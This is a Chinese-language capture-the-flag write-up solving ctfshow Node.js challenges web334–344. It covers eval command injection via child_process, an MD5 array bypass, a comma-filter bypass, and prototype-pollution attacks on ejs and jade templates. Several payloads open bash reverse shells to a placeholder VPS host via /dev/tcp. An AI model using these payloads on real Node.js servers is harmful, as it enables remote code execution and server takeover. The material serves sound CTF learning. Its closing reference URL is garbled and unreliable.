目录
<1> web334(大小写判断)
<2> web335(无过滤execSync()执行命令)
<3> web336(spawnSync()执行命令)
<4> web337(数组绕过md5===)
<5> web338(原型链污染)
<6> web339
(1) 方法1:ejs原型链污染
(2) 方法2:变量覆盖query
<7> web340(污染两级__proto__)
<8> web341(打ejs-rce)
<9> web342、343(jade原型链污染)
<10> web344(过滤逗号绕过)
下载附件,在user.js 得到item 里username和password值:
items: [
{username: 'CTFSHOW', password: '123456'}
]
查看login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
post传入username、password参数,满足下面
name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
name进行toUpperCase() === CTFSHOW 且name不为CTFSHOW password得为123456
post传入 name=Ctfshow&password=123456即可
?eval=require('child_process').exec('ls');
eval中可以执行js代码,我们构造执行ls命令,发现回显为 [object Object]
猜测其代码为代码为eval('console.log(xxx)').
涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数 execSync
?eval=require('child_process').execSync('ls');
?eval=require('child_process').execSync('cat fl00g.txt');
?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout.toString()
?eval=global.process.mainModule.constructor._load('child_process').exec('calc')
有过滤,spawnSync绕过一下
?eval=require('child_process').spawnSync('ls').stdout.toString();
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString();
经过测试,这里是过滤了exec,需要绕过
还有一种方式 字符拼接
?eval=require("child_process")['exe'%2B'cSync']('ls')
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
满足 a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
MD5强比较 数组绕过
?a[a]=0&b[a]=1
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
body的内容可以解析json,同时存在 utils.copy(user,req.body);
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
在这里可以借user给 Object 添加"__proto__"属性为{"ctfshow":"36dboy"},修改object的原型对象,构造原型链污染。 使得object的实例secert在用到ctfshow的属性时,查找 object.__proto__ 找到36dboy 使 if(secert.ctfshow==='36dboy')
返回ture
上一文有提到ejs
现成payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}
{ "constructor": { "prototype": { "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"} } }
接着post访问api.js就可以反弹shell了
login.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}
这里flag不知道是什么,不能污染ctfshow了
比之前的加了一个api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
重点看这个:
res.render('api', { query: Function(query)(query)});
这个render函数实际上是渲染函数,会在出现特定请求的时候执行特定操作
和 P神出的 Code-Breaking 2018 Thejs 如出一辙即可以 RCE,这里可污染点存在的匿名函数调用
post 访问api
{"username":"aa","password":"aa","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}
index.js 改变了
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}
需要满足 user.userinfo.isAdmin为真。
依然可以利用 utils.copy(user.userinfo,req.body),这里并不能直接传入
{"__proto__":{"isAdmin":true}} 因为查找顺序的原因,找到userinfo这一级直接就找到了isAdmin 为false。
userinfo
的原型不是 Object
对象, userinfo.__proto__.__proto__
才是 Object
对象
这里可以向上污染两级,利用api.js 里的query参数rce
污染一级的话,user是查找不到我们构造的query的 user.query不可控
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
//body=JSON.parse('{"__proto__":{"query":"123"}}');
body=JSON.parse('{"__proto__":{"__proto__":{"query":"123"}}}');
copy(user.userinfo,body);
console.log(user.__proto__);
console.log(user.__proto__.__proto__)
console.log(user.userinfo.__proto__);
console.log(user.userinfo.__proto__.__proto__)
再来看一下污染两级时: 可以看到污染到了 [Object: null prototype]
此时 user.query就可控了
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}}
和web140类似,不过这个少了api.js 不能向上两级污染覆盖query参数rce了
但是这道题开启了ejs渲染
ejs打原型链
直接用现成payload:
{"username":"a","password":"a","__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'); //"}}}
jade原型链污染 参考:https://xz.aliyun.com/t/7025
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
在login页面打上去之后随便访问下,就会反弹
ctfshow nodejs篇 - TARI TARI
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
应该传入
?query={"name":"admin","password":"ctfshow","isVIP":true}
但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。
payload:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式
参考:
sjeodhttps://blog.csdn.net/miuzzx/anrticle/details/111780832